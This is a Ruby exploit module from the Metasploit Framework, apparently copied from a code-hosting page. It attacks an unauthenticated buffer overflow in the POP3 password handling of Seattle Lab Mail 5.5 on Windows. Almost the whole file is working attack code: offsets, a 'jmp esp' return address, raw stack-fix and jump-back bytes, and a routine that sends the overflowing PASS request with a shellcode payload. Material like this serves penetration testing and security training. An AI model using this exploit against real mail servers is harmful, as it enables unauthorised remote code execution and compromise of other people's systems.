122 lines
3.6 KiB
Ruby
122 lines
3.6 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/projects/Framework/
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##
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require 'msf/core'
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module Msf
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class Exploits::Windows::Pop3::SeattleLabPass < Msf::Exploit::Remote
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include Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Seattle Lab Mail 5.5 POP3 Buffer Overflow',
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'Description' => %q{
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There exists an unauthenticated buffer overflow vulnerability
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in the POP3 server of Seattle Lab Mail 5.5 when sending a password
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with excessive length.
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Successful exploitation should not crash either the
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service or the server; however, after initial use the
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port cannot be reused for successive exploitation until
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the service has been restarted. Consider using a command
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execution payload following the bind shell to restart
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the service if you need to reuse the same port.
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The overflow appears to occur in the debugging/error reporting
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section of the slmail.exe executable, and there are multiple
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offsets that will lead to successful exploitation. This exploit
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uses 2606, the offset that creates the smallest overall payload.
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The other offset is 4654.
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The return address is overwritten with a "jmp esp" call from the
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application library SLMFC.DLL found in %SYSTEM%\\system32\\. This
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return address works against all version of Windows and service packs.
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The last modification date on the library is dated 06/02/99. Assuming
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that the code where the overflow occurs has not changed in some time,
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prior version of SLMail may also be vulnerable with this exploit. The
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author has not been able to acquire older versions of SLMail for
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testing purposes. Please let us know if you were able to get this
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exploit working against other SLMail versions.
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},
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'Author' => 'stinko',
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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['OSVDB', '12002'],
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['BID', '7519'],
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['MIL', '57'],
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],
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'Privileged' => true,
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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},
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'Payload' =>
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{
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'Space' => 600,
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'BadChars' => "\x00\x0a\x0d\x20",
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'MinNops' => 100,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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['Windows NT/2000/XP/2003 (SLMail 5.5)', { 'Ret' => 0x5f4a358f, 'Offset' => 2606 } ]
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],
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'DisclosureDate' => 'May 07 2003',
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'DefaultTarget' => 0))
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register_options(
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[
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Opt::RPORT(110)
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], self.class)
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end
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def exploit
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connect
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print_status("Trying #{target.name} using jmp esp at #{"%.8x" % target.ret}")
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banner = sock.get_once
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if banner !~ /^\+OK POP3 server (.*) ready/
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print_error("POP3 server does not appear to be running")
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return
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end
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sock.put("USER #{rand_text_alphanumeric(10)}\r\n")
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res = sock.get_once
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if banner !~ /^\+OK (.*) welcome here$/
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print_error("POP3 server rejected username")
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return
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end
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request = "PASS " + rand_text_alphanumeric(target['Offset'] - payload.encoded.length)
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request << payload.encoded
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request << [target.ret].pack('V')
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request << "\x81\xc4\xff\xef\xff\xff\x44" # fix the stack
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request << "\xe9\xcb\xfd\xff\xff" # go back 560 bytes
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request << rand_text_alphanumeric(512) # cruft
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request << "\r\n"
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sock.put(request)
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handler
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disconnect
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end
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end
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end
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